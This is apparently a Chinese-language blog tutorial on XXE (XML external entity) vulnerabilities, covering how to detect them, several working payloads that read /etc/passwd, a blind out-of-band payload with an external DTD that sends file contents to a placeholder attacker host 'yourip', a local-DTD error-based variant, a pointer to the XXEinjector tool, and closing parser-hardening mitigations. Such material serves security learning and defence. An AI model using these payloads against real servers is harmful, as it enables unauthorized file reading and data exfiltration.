这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查看,也可以根据url一些常见的关键字进行判断测试,例如wsdl(web服务描述语言).或者一些常见的采用xml的java服务配置文件(spring,struts2).不过现实中存在的大多数xxe漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机.
首先要明白xxe漏洞是如何读取文件的
<!ENTITY name SYSTEM "file:///etc/passwd"> <root>&name;</root>
此时服务器会在root节点返回 /etc/passwd的内容,整个代码运行流程是name实体加载本地文件并且文件返回值被赋给name.如果没有回显则可以利用带外通信进行测试.
首先观察这个http包,在发送方的http包头中可以通过conetent-type观察到服务端以xml的形式接收文件,符合xxe漏洞的条件,然后服务器会正常返回客户端在body中post过去的xml代码执行结果。此时就可以构造恶意的xml代码,可以看见服务器仍是正常返回,说明在服务器端并没有进行过滤,因此可以初步确定此应用存在xxe漏洞(非Blind的xxe)
以php服务端的处理为例,若$xml即为body中的$xml数据,php直接进行解析,那么将触发xxe漏洞
针对blind的xxe,可以构造如下xml恶意代码:
<?xml version="1.0" ?> <!DOCTYPE any[ <!ENTITY % file SYSTEM "file://etc/passwd"> <!ENTITY % remote SYSTEM "http://yourip/eval.dtd"> %remote;
%send;
]>
<foo></foo>
这个是用于直接在http body中提交的恶意xml代码,它会去调用位于我们的主机上的外部dtd文件(不在同一个文件写入要读取的文件主要是为了避免参数实体引用时发生的错误)
以下是eval.dtd的内容:
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'http://yourip/?p=%file;'>">
%ppp;
整个执行流程如下:首先加载参数实体remote,此时会远程加载攻击者主机上的外部实体,首先加载name实体的值,即为我们要读取的文件的内容,然后加载ppp参数实体,在ppp实体中又内嵌了send实体,所以 接下来加载send实体,此时就是关键点,即将name实体的值(/etc/passwd)发送到我们的服务器上(通过get查询方式会在攻击者的服务器日志中留下记录)
以上便是xxe漏洞的基本流程:
1.如果发现数据直接传送方式为xml,那么直接注入payload进行测试
2.如果http header里Content-Type为application/json并使用Json进行数据交互的Web站点,可以修改其Content-Type为application/xml,并尝试进行XXE注入
手工检测方法:
1.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE any [ <!ENTITY shit "this is a test"> ]> <root> &shit; </root>
2.
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE methodCall [ <!ENTITY pocdata SYSTEM "file:///etc/passwd"> ]> <methodCall> <methodName>retrieved: &pocdata;</methodName> </methodCall>
如果在返回了this is a test,说明服务端解析了客户端发送的shit实体的内容并返回到了root节点,则继续测试是否可以加载外部实体
<?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE ANY [ <!ENTITY % shit SYSTEM “http://youhost/eval.xml”> %shit; ]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
如果不能回显,毫无疑问,使用Blind XXE攻击方法。
如果不能回显,并且目标服务器有防火墙,则可以利用本地的dtd来读取数据
参考链接:https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
这里有几种可以测试的payload,根据使用内部不同的dtd要使用不同的payload,根据内部实体中已经声明的变量我们可以去覆盖它,来调用外部实体
这个工具还提供自动寻找jar包中可以用的dtd,以及来生成payload
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd"> //内部实体必须是目标机器上已经存在的,可以用常见dtd进行fuzz <!ENTITY % expr 'aaa)> <!ENTITY % file SYSTEM "file:///FILE_TO_READ"> //要读取的文件 <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message></message>
网上已经有可以自动检测XXE漏洞的开源工具:xxeinjector
git clone https://github.com/enjoiz/XXEinjector.git
补救措施:
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
1.禁用xml外部实体
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤xml外部实体的关键字:
过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等
参考:
https://www.waitalone.cn/xxe-attack.html